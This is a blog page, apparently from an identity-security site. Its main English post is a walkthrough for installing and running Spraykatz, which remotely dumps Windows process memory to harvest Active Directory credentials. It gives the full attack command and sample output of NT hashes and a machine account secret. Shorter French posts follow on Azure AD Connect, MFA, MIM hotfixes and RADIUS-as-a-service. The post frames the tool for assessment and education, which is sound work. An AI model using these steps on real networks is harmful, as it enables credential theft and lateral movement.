Spraykatz : a fantastic tool for Blueteam or Redteam who want to evaluate lateral movement or privilege escalation weakness on Active Directory environments

Introduction to Spraykatz

As you may know, password hash dump is a very useful method to perform lateral movement or privilege escalation on a network. If you are using Active Directory, this method will be used by a lot of modern malware which include some code pieces from very known security tools like Mimikatz for example.

In this article, we will explorer Spraykatz (v0.9.6) a magnificent tool written by @lydericlefebvre which can help in different situations:

  • BlueTeam: you want to evaluate how much sensible you are in term of password hash dump, and detect if some malwares or attackers can use this method to find some privilege accounts traces on your workstations
  • RedTeam: you want to explore the workstations and find a privilege account to use during your escalation
  • Security Officer, CISO: you want to demonstrate to your internal people how malware can use password hashes in order to educate your people about security issues

Spraykatz is a tool able to retrieve credentials on Windows machines and large Active Directory environments. It simply tries to procdump machines and parse dumps remotely in order to avoid detections by antivirus softwares as much as possible.

Spraykatz uses slighlty modified parts of the following projects:

  • Mimikatz
  • Impacket
  • Pypykatz
  • Pywerview
  • Sysinternals
  • hackndo

How to install Spraykatz

For this article I was using a Kali distro, but you can use ubuntu as well (I tested it on both distros and worked like a charm).

Let’s be root:

sudo su

Get information about your system updates and update the index file for future updates:

root@kali:~# apt update

Reading package lists… Done

Building dependency tree

Reading state information… Done

All packages are up to date.

Ok, here I already have everything updated on my Kali system.

If you don’t have already the last version of python, git and nmap, update it:

root@kali:/tmp/mimipenguin-master# apt install -y python3.6 python3-pip git nmap

Reading package lists… Done

Building dependency tree

Reading state information… Done

Note, selecting ‘python3.6-cups’ for regex ‘python3.6’

Note, selecting ‘python3.6-cairo’ for regex ‘python3.6’

Note, selecting ‘python3.6-2to3’ for regex ‘python3.6’

Note, selecting ‘python3.6-urwid’ for regex ‘python3.6’

Note, selecting ‘python3.6-smbc’ for regex ‘python3.6’

Note, selecting ‘libpython3.6-stdlib’ for regex ‘python3.6’

Note, selecting ‘python3.6-crypto’ for regex ‘python3.6’

Note, selecting ‘python3-cairo’ instead of ‘python3.6-cairo’

Note, selecting ‘python3-crypto’ instead of ‘python3.6-crypto’

Note, selecting ‘python3-cups’ instead of ‘python3.6-cups’

Note, selecting ‘python3-smbc’ instead of ‘python3.6-smbc’

Note, selecting ‘python3-urwid’ instead of ‘python3.6-urwid’

git is already the newest version (1:2.20.1-2).

git set to manually installed.

nmap is already the newest version (7.70+dfsg1-6kali1).

nmap set to manually installed.

python3-cairo is already the newest version (1.16.2-1+b1).

python3-crypto is already the newest version (2.6.1-9+b1).

python3-cups is already the newest version (1.9.73-2+b1).

python3-pip is already the newest version (18.1-5).

python3-smbc is already the newest version (1.0.15.6-1+b2).

python3-urwid is already the newest version (2.0.1-2+b1).

0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Ok, here I already have everything updated on my Kali system.

Now, our system is ready to install Spraykatz from Github:

root@kali:~# git clone –recurse-submodules https://github.com/aas-n/spraykatz.git

Cloning into ‘spraykatz’…

remote: Enumerating objects: 29, done.

remote: Counting objects: 100% (29/29), done.

remote: Compressing objects: 100% (27/27), done.

remote: Total 383 (delta 8), reused 5 (delta 1), pack-reused 354

Receiving objects: 100% (383/383), 21.51 MiB | 761.00 KiB/s, done.

Resolving deltas: 100% (207/207), done.

Submodule ‘submodules/impacket’ (https://github.com/SecureAuthCorp/impacket.git) registered for path ‘submodules/impacket’

Cloning into ‘/root/spraykatz/submodules/impacket’…

remote: Enumerating objects: 17060, done.

remote: Total 17060 (delta 0), reused 0 (delta 0), pack-reused 17060

Receiving objects: 100% (17060/17060), 5.64 MiB | 824.00 KiB/s, done.

Resolving deltas: 100% (13026/13026), done.

Submodule path ‘submodules/impacket’: checked out ‘d6b5bd4e2f3fe3e9fa252dcd2a1dd76faa0c5395’

Now Spraykatz is cloned on your system.

Go to the Spraykatz folder:

root@kali:~# cd spraykatz

And use pip to install packages from the index (requirements.txt):

root@kali:~/spraykatz# pip3 install -r requirements.txt

Requirement already satisfied: pyCryptodomex in /usr/lib/python3/dist-packages (from -r requirements.txt (line 1)) (3.6.1)

Requirement already satisfied: pyasn1 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (0.4.2)

Requirement already satisfied: pyOpenSSL in /usr/lib/python3/dist-packages (from -r requirements.txt (line 3)) (19.0.0)

Collecting pypykatz>=0.3.0 (from -r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/68/4a/2436e462a7c9ad3df263f5b14998b664bdc62f2d4352af142b5defafeada/pypykatz-0.3.2-py3-none-any.whl (271kB)

100% |████████████████████████████████| 276kB 749kB/s

Requirement already satisfied: lxml in /usr/lib/python3/dist-packages (from -r requirements.txt (line 5)) (4.3.2)

Collecting minidump>=0.0.11 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/6b/4e/ae61bddb6d5ada7ee0e718d08b697a58aba66bdd1428b83e06c5ba914579/minidump-0.0.11-py3-none-any.whl (62kB)

100% |████████████████████████████████| 71kB 1.3MB/s

Collecting minikerberos>=0.0.11 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/ae/87/0063d15dcb43a7a0746f57c69dfc1ee86b0608728d40d3791f06fa8b046a/minikerberos-0.0.11-py3-none-any.whl (96kB)

100% |████████████████████████████████| 102kB 402kB/s

Collecting msldap>=0.1.1 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/9d/5b/a8d65a7a8aa047f0312b0cda890ab06a64c5d3f364374c1603af2acebb95/msldap-0.2.5-py3-none-any.whl (40kB)

100% |████████████████████████████████| 40kB 1.1MB/s

Collecting aiowinreg>=0.0.1 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/59/25/31cd1c57c8322e1e88d246d923bb00a88e326722c238b3a466d411d73fd4/aiowinreg-0.0.2-py3-none-any.whl

Collecting winsspi>=0.0.3 (from pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/65/fe/5aa78fe5983f9203cca9453c771711cfe6eafc91870cab7294f201d5d0a8/winsspi-0.0.3-py3-none-any.whl

Requirement already satisfied: asn1crypto in /usr/lib/python3/dist-packages (from minikerberos>=0.0.11->pypykatz>=0.3.0->-r requirements.txt (line 4)) (0.24.0)

Collecting asciitree (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/2d/6a/885bc91484e1aa8f618f6f0228d76d0e67000b0fdd6090673b777e311913/asciitree-0.3.3.tar.gz

Collecting socks5line>=0.0.3 (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/2f/51/9b64da14e5bddb19abd8fd9a0d7c9b564b0e860ae5c52f8090af6dbfa02a/socks5line-0.0.3-py3-none-any.whl

Collecting aiocmd (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/a7/d7/1237391649ab4d86a6d5520361727e938b4ec47df834e688189dd83642bf/aiocmd-0.1.2-py3-none-any.whl

Requirement already satisfied: ldap3<2.5.2 in /usr/lib/python3/dist-packages (from msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4)) (2.5.1)

Collecting prompt-toolkit>=2.0.9 (from aiocmd->msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/7f/1f/e145dd467dc9b0e6f1e64232c03119498dfec497e383f1e8be9f83eaa97e/prompt_toolkit-3.0.2-py3-none-any.whl (344kB)

100% |████████████████████████████████| 348kB 711kB/s

Collecting wcwidth (from prompt-toolkit>=2.0.9->aiocmd->msldap>=0.1.1->pypykatz>=0.3.0->-r requirements.txt (line 4))

Downloading https://files.pythonhosted.org/packages/7e/9f/526a6947247599b084ee5232e4f9190a38f398d7300d866af3ab571a5bfe/wcwidth-0.1.7-py2.py3-none-any.whl

Building wheels for collected packages: asciitree

Running setup.py bdist_wheel for asciitree … done

Stored in directory: /root/.cache/pip/wheels/1d/d9/58/9808b306744df0208fccc640d3d9952a5bc7468502d42897d5

Successfully built asciitree

Installing collected packages: minidump, minikerberos, asciitree, socks5line, wcwidth, prompt-toolkit, aiocmd, msldap, aiowinreg, winsspi, pypykatz

Successfully installed aiocmd-0.1.2 aiowinreg-0.0.2 asciitree-0.3.3 minidump-0.0.11 minikerberos-0.0.11 msldap-0.2.5 prompt-toolkit-3.0.2 pypykatz-0.3.2 socks5line-0.0.3 wcwidth-0.1.7 winsspi-0.0.3

Now Spraykatz is fully installed!

How to use Spraykatz

Spraykatz is very simple to use. To use it, you will need to determine:

  • Which account to use to perform the exploration – here you need to use privilege account (i.e local Admin privilege) on the target system, you may had discovered this type of account from different methods, or even worse, the company is providing regular user accounts which are local Admin on the workstation.
  • Which machine or which machines range you want to target.

In this document example, we will use the following settings:

  • Active Directory domain: win2019.priv
  • Account which has local Admin privilege on the target computer: dark
  • Account password: demo_spraykatz
  • Target computer: 10.0.0.201
root@kali:~/spraykatz# ./spraykatz.py -u dark@win2019.priv -p demo_spraykatz -t 10.0.0.201


[#] Hey, did you read the code?

[+] Listing targetable machines into networks provided. Can take a while…

[+] Checking local admin access on targets…

[~] 10.0.0.201 is pwnable!

[+] Exec procdump on targets. Be patients…

[~] ProcDumping 10.0.0.201. Be patient…

[#] Uploading procdump to 10.0.0.201…

[#] Executing procdump on 10.0.0.201…

[#] Creating dump’s file descriptor on 10.0.0.201…

[#] Parsing 10.0.0.201’s dump remotely…

         machine: 10.0.0.201

         domain: WIN10CLI02

        username: blackhat

         nthash: 329153f560eb329c0e1deea55e88a1e9

         machine: 10.0.0.201

         domain: WIN2019

        username: WIN10CLI02$

         nthash: fcdc607666845acba172b460939f8fa9

         machine: 10.0.0.201

         domain: win2019.priv

        username: WIN10CLI02$

        password: 31d47f5578cd912fd4e6d88a1bc86be46d7d37c2ffd05251b1c98cdd77e71cc37f08504087f18e572162655604adac497b156fdcb9b20b56f0ec5fe3c64b42b96cfbf6e26b5e8017d215479a2d456cf902e36ddad8dae64319f3d9fa79c1dee884c887834af056e459bf3ce3094dad4e1004985518b112e4dbfe24b4eb90a37248d71ef3a79507f4ad68d4b1a233c19448a56f06763079405b08d6e300a5a4e9eb11dc219ca52c5d3edead8fd1ef3ee7b211cbf6af66cc45ed6f090e4f1eb7968cf5cfffdbe06e919440b51056b5586869fefea7296a4c437c2faf240b90f86a4ebdf450fd2b8990061fd58abeef6e76

         machine: 10.0.0.201

         domain: WIN2019

        username: han

         nthash: 329153f560eb329c0e1deea55e88a1e9

         machine: 10.0.0.201

         domain: WIN2019

        username: root

         nthash: 329153f560eb329c0e1deea55e88a1e9

[#] Closing dump file on 10.0.0.201…

[#] Deleting procdump on 10.0.0.201…

[#] Deleting dump on 10.0.0.201…

[+] Credentials logged into: /root/spraykatz/misc/results/creds.txt

[+] Exiting Gracefully…

On the target system, we can retrieve the nthash for the following accounts:

  • Users accounts who already opened a session on the target system:

  • Computer account for the target system:

These are some additional information about how to use SprayKatz:

  • Mandatory arguments

  • Optional arguments

Spraykatz usefull information

Download page from GitHub

GitHub page: https://github.com/aas-n/spraykatz

Author Twitter account

https://twitter.com/lydericlefebvre

NIST: document décrivant la technologie émergente de gestion des identités par la BlockChain

Le NIST vient de mettre en ligne un document (en Draft) proposant une description des concepts de gestion de identités par la BlockChain. Au delà du document, les nombreuses références citées (que l’on retrouve à la fin du document) sont une mine d’or pour chaque personne voulant se documenter sur ces sujets.

La description de l’étude est disponible [ ICI ]

Le document est directement disponible [ ICI ]

 

Tout ce que vous avez voulu savoir sur Azure AD + MFA sans avoir jamais osé le demander !

Je suis tombé un peu par hasard sur une série d’articles faisant un focus sur la fonction MFA en liaison avec Azure AD. Ces articles abordent des thèmes avec une grosse profondeur technique sous la forme une question / une réponse.

Exemples de question:

=> Is there any equivalent feature in the Azure MFA Server for  » Allow users to remember multi-factor authentication on devices they trust  » that is available in Azure MFA?

=> Is there a way for us to migrate users [from our Azure MFA Server] to Azure MFA so there is no action required from the user’s perspective?

=> Can you/How do you secure on-prem OWA with MFA?

C’est franchement très riche et doit être lu par tous les spécialistes Azure AD + les personnes travaillant dans la sécurité en général et sur le MFA en particulier.

Ce qui est extrêmement intéressant avec le format, c’est que:

1/ cela permet de gagner en profondeur technique sur le sujet

2/ cela ouvre l’esprit sur des problématiques techniques auxquelles nous ne pensons pas

3/ cela permet de se projeter sur l’ensemble des usages possibles

 

La liste des liens vers les articles des Q&A disponibles pour l’instant :

Round 1: https://techcommunity.microsoft.com/t5/Azure-Active-Directory-Identity/Azure-AD-Mailbag-Q-amp-A-on-Azure-MFA/ba-p/244217

Round 2: https://techcommunity.microsoft.com/t5/Azure-Active-Directory-Identity/Azure-AD-Mailbag-MFA-Q-amp-A-Round-2/ba-p/244222

Round 3: https://techcommunity.microsoft.com/t5/Enterprise-Mobility-Security/Azure-AD-Mailbag-MFA-Q-amp-A-Round-3/ba-p/249683

Round 4: https://techcommunity.microsoft.com/t5/Enterprise-Mobility-Security/Azure-AD-Mailbag-MFA-Q-amp-A-Round-4/ba-p/249802

Round 5: https://techcommunity.microsoft.com/t5/Azure-Active-Directory-Identity/AzureAD-Mailbag-MFA-Q-amp-A-Round-5/ba-p/245033

Round 6: https://techcommunity.microsoft.com/t5/Enterprise-Mobility-Security/AzureAD-Mailbag-MFA-Q-amp-A-Round-6/ba-p/250071

Round 7: https://techcommunity.microsoft.com/t5/Enterprise-Mobility-Security/AzureAD-Mailbag-MFA-Q-amp-A-Round-7/ba-p/250088

Round 8: https://techcommunity.microsoft.com/t5/Azure-Active-Directory-Identity/Azure-AD-Mailbag-MFA-Q-amp-A-Round-8/ba-p/390334

A consommer sans modération aucune !

 

Excellente vidéo sur la façon dont Microsoft gère les accès aux comptes privilégiés en interne

C’est une table ronde avec des experts de chez Microsoft, et c’est très instructif. D’habitude je ne regarde pas trop ce type de vidéo car je m’ennuie rapidement, mais là j’avoue que c’est assez passionnant et instructif. Vous vous voulez savoir comment Microsoft gère ses accès aux comptes privilégiés ? c’est ici:

Azure AD Connect – la version 1.2.67.0 est disponible

La version 1.2.67.0 est disponible en téléchargement. Cette nouvelle version de Azure AD Connect ne corrige qu’un seul bug, mais un bug majeur ! En effet l’avant dernière version de Azure AD Connect pouvait rencontrer un problème sur la fonction « Password Writeback » si l’on possède des contrôleurs de domaine en version 2008 ou 2008R2.

La dernière version de Azure AD Connect peut être téléchargée [ ICI ]

MIM 2016 SP1: Le nouveau hotifx 4.5.286.0 est disponible – enfin !!!

Bon, c’est un peu technique, mais les spécialistes de MIM 2016 vont comprendre de quoi il s’agit !

Il y a peu, Microsoft a mis en téléchargement les builds MIM 2016 4.5.26.0 et 4.5.202.0, mais il y avait un gros problème avec ces versions, dans certaines conditions les objets provenant des managements agents étaient supprimés ou non re-créés au niveau de FIM-service, ce qui avait pour conséquence d’obtenir des règles de synchronisation. Le hotfix 4.5.286.0 permet de corriger le problème, il s’agit donc d’un hotfix extrêmement important pour les administrateurs et architectes MIM. Pour plus d’informations sur ce problème, vous pouvez consulter cet article du Technet Microsoft.

Il est noter que les build 4.5.26.0 et 4.5.202.0 sont toujours listés par Microsoft comme des builds officielles mais ne sont plus disponibles au téléchargement – si vous avez déjà installé l’une de ces deux builds, il est hautement recommandé d’installer ce hotfix.

Mais bien sur, une correctif amène d’autres problèmes ou déconvenues… les problèmes connus avec ce hotfix sont listés ici: https://support.microsoft.com/en-gb/help/4469694/hotfixrolluppackagebuild452860isavailableformicrosoftidentitymanager20

En gros, les problèmes que vous pouvez rencontrer:

  • Problème avec l’installeur, à cause d’une DLL manquante (Microsoft recommande de contacter le support Microsoft si vous avez un tel problème)
  • Problème avec ECMA (synchronization service) , en gros si vous avez créer des MA custom avec votre propre développement- un workaround est décrit sur la page du hotfix, mais il s’agit globalement d’éditer les fichiers suivants: MIIServer.exe.config, Mmsscrpt.exe.config, Dllhost.exe.config avec les informations contenues sur la page de réference du hotfix
  • Problème avec l’installation du portail – Microsoft recommande de réinstaller le package 2013 x64 Visual C++ Redistributable Packages (vcresist_x64.exe) avant de de démarrer le MIM service et l’installation du portail
  • Problème d’affichage du portail dans le navigateur après l’installation du hotfix, il suffit alors de vide l’historique de navigation et les fichiers en cache puis de recharger l’interface du portail (Microsoft évoque le problème uniquement avec Internet Explorer mais à priori le problème peut aussi exister sous chrome)

Pour télécharger le hotfix, rendez-vous [ ICI ]

Radius as a Service (RaaS)

JumpCloud fait grandement évoluer son service Radius as a Service. Pour rappel, ce service permet d’utiliser un service radius rattaché à un annuaire de type DIRaaS – c’est à dire un genre d’annuaire LDAP en mode SaaS – cet annuaire peut automatiquement être alimenté par votre annuaire Active Directory, votre propre annuaire LDAP, un annuaire Azure AD ou même un annuaire Google Directory. Il suffit ensuite de configurer vos équipements réseau pour qu’ils utilisent le service RaaS rattaché à cet annuaire. cela permet de centraliser le service notamment dans le cadre d’entreprises avec un nombre d’agences disséminées en France ou dans le monde.

Si vous n’avez jamais utilisé ce type de service, vous pouvez consulter cette vidéo pour découvrir le fonctionnement basique:

De plus, voici un exemple de configuration avec du matériel Cisco Meraki: https://support.jumpcloud.com/customer/en/portal/articles/2406833-configuring-a-cisco-meraki-wap-to-jumpcloud-s-radius-as-a-service

Les détails des changements à venir sur le service Radius de JumpCloud au 1er Décembre 2018 sont listés ici: https://support.jumpcloud.com/customer/en/portal/articles/2406827

Le principal changement vient de la couverture géographique du service, avec la possibilité d’utiliser une IP différente en fonction de la localisation dans le monde:

Bonne lecture !

Azure AD Connect – la version 1.2.65.0 est disponible

La version 1.2.65.0 est disponible en téléchargement. Comme d’habitude, de nouvelles fonctions sont disponibles ainsi que des corrections des problèmes connus.

Plus de détails sur [cette page]

Informations de la page officielle:

Nouvelles fonctionnalités et améliorations:

  • Changed the functionality of attribute write-back to ensure hosted voice-mail is working as expected. Under certain scenarios, Azure AD was overwriting the msExchUcVoicemailSettings attribute during write-back with a null value. Azure AD will now no longer clear the on-premises value of this attribute if the cloud value is not set.
  • Added diagnostics in the Azure AD Connect wizard to investigate and identify Connectivity issues to Azure AD. These same diagnostics can also be run directly through Powershell using the Test- AdSyncAzureServiceConnectivity Cmdlet.
  • Added diagnostics in the Azure AD Connect wizard to investigate and identify Connectivity issues to AD. These same diagnostics can also be run directly through Powershell using the Start-ConnectivityValidation function in the ADConnectivityTools Powershell module. For more information see What is the ADConnectivityTool PowerShell Module?
  • Added an AD schema version pre-check for Hybrid Azure Active Directory Join and device write-back
  • Changed the Directory Extension page attribute search to be non-case sensitive.
  • Added full support for TLS 1.2. This release supports all other protocols being disabled and only TLS 1.2 being enabled on the machine where Azure AD Connect is installed. For more information see TLS 1.2 enforcement for Azure AD Connect

Correction de problèmes connus:

  • Fixed a bug where Azure AD Connect Upgrade would fail if SQL Always On was being used.
  • Fixed a bug to correctly parse OU names that contain a forward slash.
  • Fixed an issue where Pass-Through Authentication would be disabled for a clean install in staging mode.
  • Fixed a bug that prevented the PowerShell module to be loaded when running the Troubleshooting tools
  • Fixed a bug that would block customers from using numeric values in the first character of a host name.
  • Fixed a bug where Azure AD Connect would allow invalid partitions and container selection
  • Fixed the “Invalid Password” error message when Desktop SSO is enabled.
  • Various Bug fixes for AD FS Trust Management
  • When configuring Device Writeback – fixed the schema check to look for the msDs-DeviceContainer object class (introduced on WS2012 R2)

Vous pouvez télécharger la dernière version depuis [cette page]